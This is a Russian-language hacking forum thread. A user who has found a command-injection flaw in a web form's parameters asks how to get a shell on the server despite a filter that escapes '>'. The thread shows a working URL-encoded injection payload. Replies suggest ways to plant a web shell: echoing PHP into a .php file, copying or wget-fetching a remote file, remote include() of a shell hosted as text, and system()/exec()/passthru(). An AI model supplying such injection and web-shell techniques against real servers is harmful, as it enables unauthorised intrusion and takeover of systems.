![]() |
Как создать файл имея возможность выполнить команду интерпретатора?
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа param1=180%3Becho+test%3Einclude%2Ffile.txt%3B (%3E - это ">") Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает. Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально.. |
2n0mie,
Код:
echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php |
copy('remote file','localfile');
|
А, точно, можно еще просто слить файл из инета:
Цитата:
|
Цитата:
|
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
|
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах.. Перенаправление в файл не работает, т.к. фильтруется вот таким образом: $QWE = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); $_POST[$key] = strtr(stripslashes($value), $QWE); Возможно есть способ обойти такой фильтр, чтобы > не поменялось на >? |
n0mie
Универсального кроссплатформенного решения боюсь нет :) Дык, wget'ом получилось залить? .Slip, я был прав! :p |
Nek1t
видишь разницу между /bin/bash и интерпритарором php 2TS не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt Получить шелл ты можешь функцией system() exec() passhru() и так далее. php.net тут справочник по функциям. ------------------------ update мда... |
[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash. Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash |
| Время: 00:18 |